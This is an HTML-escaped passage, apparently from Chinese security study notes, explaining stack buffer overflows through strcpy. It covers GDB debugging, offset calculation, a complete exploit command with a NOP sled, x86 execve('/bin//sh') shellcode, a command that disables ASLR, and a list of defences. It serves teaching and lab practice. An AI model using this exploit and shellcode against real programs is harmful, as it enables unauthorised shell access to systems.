&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="补充知识点缓冲区溢出漏洞"&gt;补充知识点：缓冲区溢出漏洞
&lt;/h2&gt;&lt;h3 id="技术背景"&gt;&lt;strong&gt;技术背景&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;strcpy&lt;/code&gt; 的作用&lt;/strong&gt;：
将源字符串复制到目标缓冲区，​&lt;strong&gt;​不检查目标缓冲区长度​&lt;/strong&gt;​，可能导致缓冲区溢出（Buffer Overflow）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞场景&lt;/strong&gt;：
如果目标缓冲区（如栈上的字符数组）较小，而源字符串过长，&lt;code&gt;strcpy&lt;/code&gt; 会覆盖栈上的返回地址（或其他关键数据），导致程序崩溃或被控制流劫持。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="调试中如何观察"&gt;&lt;strong&gt;调试中如何观察&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;查看函数上下文&lt;/strong&gt;
输入 &lt;code&gt;disas&lt;/code&gt; 或 &lt;code&gt;disassemble&lt;/code&gt; 反汇编当前函数，观察 &lt;code&gt;strcpy&lt;/code&gt; 调用前后的逻辑：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; disas main
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;检查参数传递&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在 &lt;code&gt;call strcpy&lt;/code&gt; 前，参数通过栈传递（x86架构）或寄存器传递（x86-64架构）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;例如，在 x86 中，参数按从右到左顺序压栈：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;push 源字符串地址 &lt;span class="p"&gt;;&lt;/span&gt; 第二个参数（src）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;push 目标缓冲区地址 &lt;span class="p"&gt;;&lt;/span&gt; 第一个参数（dest）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;call strcpy
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;设置断点&lt;/strong&gt;
在 &lt;code&gt;strcpy&lt;/code&gt; 调用前设置断点，观察内存状态：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;break&lt;/span&gt; *0x0804848b &lt;span class="p"&gt;;&lt;/span&gt; 在调用 strcpy 的地址处断点
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run &lt;span class="p"&gt;;&lt;/span&gt; 运行程序
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; info registers &lt;span class="p"&gt;;&lt;/span&gt; 查看寄存器值（如 ESP、EBP）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; x/8wx &lt;span class="nv"&gt;$esp&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; 查看栈内容（x86）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="漏洞利用示例"&gt;&lt;strong&gt;漏洞利用示例&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;假设目标缓冲区在栈上且无长度检查：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;用户输入&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 用户输入超过 64 字节会导致溢出
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;覆盖返回地址&lt;/strong&gt;
构造输入字符串，覆盖栈上的返回地址为恶意代码地址（如 Shellcode）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;利用工具&lt;/strong&gt;
使用 Python 或 &lt;code&gt;pwntools&lt;/code&gt; 生成 payload：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="c1"&gt;# 填充缓冲区&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;BBBB&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 覆盖 EBP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xdeadbeef&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 覆盖返回地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;在 GDB 中验证&lt;/strong&gt;
输入超长字符串，观察程序崩溃时的寄存器值：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run &amp;lt; payload.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Program received signal SIGSEGV, Segmentation fault.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;eip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 0xdeadbeef &lt;span class="p"&gt;;&lt;/span&gt; 返回地址被成功覆盖
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="防御与修复"&gt;&lt;strong&gt;防御与修复&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;替换安全函数&lt;/strong&gt;
使用 &lt;code&gt;strncpy&lt;/code&gt; 或 &lt;code&gt;snprintf&lt;/code&gt; 替代 &lt;code&gt;strcpy&lt;/code&gt;，并明确限制长度：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;strncpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;编译选项&lt;/strong&gt;
启用栈保护（Stack Canary）和地址随机化（ASLR）：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;gcc -fstack-protector -pie -fPIE -o program program.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="攻击命令结构"&gt;&lt;strong&gt;攻击命令结构&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./r00t &lt;span class="k"&gt;$(&lt;/span&gt;python -c &lt;span class="s1"&gt;&amp;#39;print &amp;#34;A&amp;#34;*268 + &amp;#34;\x80\xfb\xff\xbf&amp;#34; + &amp;#34;\x90&amp;#34;*20 + &amp;#34;&amp;lt;shellcode&amp;gt;&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;该命令生成的输入字符串分为四部分：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;quot;A&amp;quot;\*268&lt;/code&gt;&lt;/strong&gt;：填充缓冲区到返回地址前的偏移。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;quot;\x80\xfb\xff\xbf&amp;quot;&lt;/code&gt;&lt;/strong&gt;：覆盖栈上的返回地址，指向 &lt;code&gt;NOP雪橇&lt;/code&gt; 或 &lt;code&gt;shellcode&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;quot;\x90&amp;quot;\*20&lt;/code&gt;&lt;/strong&gt;：NOP雪橇（滑板指令），提高 &lt;code&gt;shellcode&lt;/code&gt; 命中率。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;shellcode&amp;gt;&lt;/code&gt;&lt;/strong&gt;：恶意机器码（如启动 &lt;code&gt;/bin/sh&lt;/code&gt; 的代码）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="逐部分详解"&gt;&lt;strong&gt;逐部分详解&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-填充字符"&gt;&lt;strong&gt;1. 填充字符（&amp;ldquo;A&amp;rdquo;*268）&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：覆盖从缓冲区起始位置到返回地址之间的空间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;长度计算&lt;/strong&gt;：
通过动态调试（如 GDB）确定缓冲区到返回地址的偏移。假设缓冲区大小为 256 字节，加上保存的 &lt;code&gt;EBP&lt;/code&gt;（4 字节），总偏移为 256 + 4 = 260 字节。若实际测试中发现需要 268 字节，可能是栈对齐或其他变量影响。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-覆盖返回地址x80xfbxffxbf"&gt;&lt;strong&gt;2. 覆盖返回地址（&amp;quot;\x80\xfb\xff\xbf&amp;quot;）&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目标地址&lt;/strong&gt;：&lt;code&gt;0xbffffb80&lt;/code&gt;（小端序，实际字节为 &lt;code&gt;\x80\xfb\xff\xbf&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;含义：&lt;/li&gt;
&lt;li&gt;该地址指向栈上的某个位置（可能是 &lt;code&gt;NOP雪橇&lt;/code&gt; 或 &lt;code&gt;shellcode&lt;/code&gt; 起始处）。&lt;/li&gt;
&lt;li&gt;在关闭 ASLR 的系统中，栈地址通常固定（如 &lt;code&gt;0xbffffxxx&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-nop雪橇x9020"&gt;&lt;strong&gt;3. NOP雪橇（&amp;quot;\x90&amp;quot;*20）&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;作用：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\x90&lt;/code&gt; 是 &lt;code&gt;NOP&lt;/code&gt;（No Operation）指令，执行时不进行任何操作，程序计数器（EIP）会继续向后移动。&lt;/li&gt;
&lt;li&gt;增加 &lt;code&gt;NOP雪橇&lt;/code&gt; 的长度可提高命中率，即使返回地址略微偏差，仍可能滑入 &lt;code&gt;shellcode&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-shellcode"&gt;&lt;strong&gt;4. Shellcode&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;代码内容：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; \x31\xc0 (清空 eax)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; \x50 (压入字符串终止符 \x00)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="mi"&gt;0x68732f2f&lt;/span&gt; &lt;span class="c1"&gt;; \x68\x2f\x2f\x73\x68 (&amp;#34;//sh&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="mi"&gt;0x6e69622f&lt;/span&gt; &lt;span class="c1"&gt;; \x68\x2f\x62\x69\x6e (&amp;#34;/bin&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;esp&lt;/span&gt; &lt;span class="c1"&gt;; \x89\xe3 (ebx 指向 &amp;#34;/bin//sh&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="no"&gt;eax&lt;/span&gt; &lt;span class="c1"&gt;; \x50 (argv[1] = NULL)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="no"&gt;ebx&lt;/span&gt; &lt;span class="c1"&gt;; \x53 (argv[0] 指向 &amp;#34;/bin//sh&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;esp&lt;/span&gt; &lt;span class="c1"&gt;; \x89\xe1 (ecx 指向 argv)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xb&lt;/span&gt; &lt;span class="c1"&gt;; \xb0\x0b (syscall 号 11: execve)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;int&lt;/span&gt; &lt;span class="mi"&gt;0x80&lt;/span&gt; &lt;span class="c1"&gt;; \xcd\x80 (触发系统调用)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;：调用 &lt;code&gt;execve(&amp;quot;/bin//sh&amp;quot;, argv, NULL)&lt;/code&gt;，启动一个交互式 shell。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="攻击流程"&gt;&lt;strong&gt;攻击流程&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;溢出缓冲区&lt;/strong&gt;：通过输入字符串覆盖栈上的返回地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;劫持 EIP&lt;/strong&gt;：程序返回时跳转到 &lt;code&gt;0xbffffb80&lt;/code&gt;（指向 &lt;code&gt;NOP雪橇&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;滑入 Shellcode&lt;/strong&gt;：CPU 执行 &lt;code&gt;NOP&lt;/code&gt; 指令，直到命中 &lt;code&gt;shellcode&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行恶意代码&lt;/strong&gt;：&lt;code&gt;shellcode&lt;/code&gt; 启动 &lt;code&gt;/bin/sh&lt;/code&gt;，攻击者获得 shell 控制权。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="依赖条件"&gt;&lt;strong&gt;依赖条件&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;栈可执行（DEP 关闭）&lt;/strong&gt;：现代系统默认启用数据执行保护（DEP），需目标程序编译时关闭该保护（&lt;code&gt;gcc -z execstack&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ASLR 关闭：地址空间随机化会使得栈地址不可预测，需在测试环境中关闭：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sudo tee /proc/sys/kernel/randomize_va_space
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;准确的偏移计算&lt;/strong&gt;：需通过调试确定填充长度和返回地址位置。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="调试验证步骤"&gt;&lt;strong&gt;调试验证步骤&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;确定偏移量&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成测试字符串&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;python -c &lt;span class="s1"&gt;&amp;#39;print &amp;#34;A&amp;#34;*268 + &amp;#34;BBBB&amp;#34; + &amp;#34;C&amp;#34;*100&amp;#39;&lt;/span&gt; &amp;gt; payload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 在 GDB 中运行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;gdb ./r00t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run &amp;lt; payload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 观察崩溃时 EIP 是否为 0x42424242（&amp;#34;BBBB&amp;#34;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;定位 Shellcode 地址&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run &amp;lt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;python -c &lt;span class="s1"&gt;&amp;#39;print &amp;#34;A&amp;#34;*268 + &amp;#34;\x80\xfb\xff\xbf&amp;#34; + &amp;#34;\x90&amp;#34;*20 + &amp;#34;shellcode&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; x/32wx &lt;span class="nv"&gt;$esp&lt;/span&gt; &lt;span class="c1"&gt;# 查看栈内容，确认 NOP 和 shellcode 位置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="防御措施"&gt;&lt;strong&gt;防御措施&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;启用 DEP/XN 位&lt;/strong&gt;：阻止栈上代码执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;启用 ASLR&lt;/strong&gt;：随机化内存布局。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用安全函数&lt;/strong&gt;：替换 &lt;code&gt;strcpy&lt;/code&gt; 为 &lt;code&gt;strncpy&lt;/code&gt; 或 &lt;code&gt;snprintf&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;栈保护（Stack Canary）&lt;/strong&gt;：检测缓冲区溢出&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="补充知识点坏字符"&gt;补充知识点：坏字符
&lt;/h2&gt;&lt;p&gt;在缓冲区溢出攻击的调试过程中，你提供的命令用于检查内存布局和验证攻击载荷（payload）是否正确覆盖目标区域。以下是详细解析：&lt;/p&gt;
&lt;h3 id="1-构造的-payload-分析"&gt;&lt;strong&gt;1. 构造的 Payload 分析&lt;/strong&gt;
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;r &lt;span class="k"&gt;$(&lt;/span&gt;python -c &lt;span class="s1"&gt;&amp;#39;print(&amp;#34;A&amp;#34;*268 + &amp;#34;B&amp;#34;*4 + &amp;#34;\x01\x02\x03\x04...\xff&amp;#34;)&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
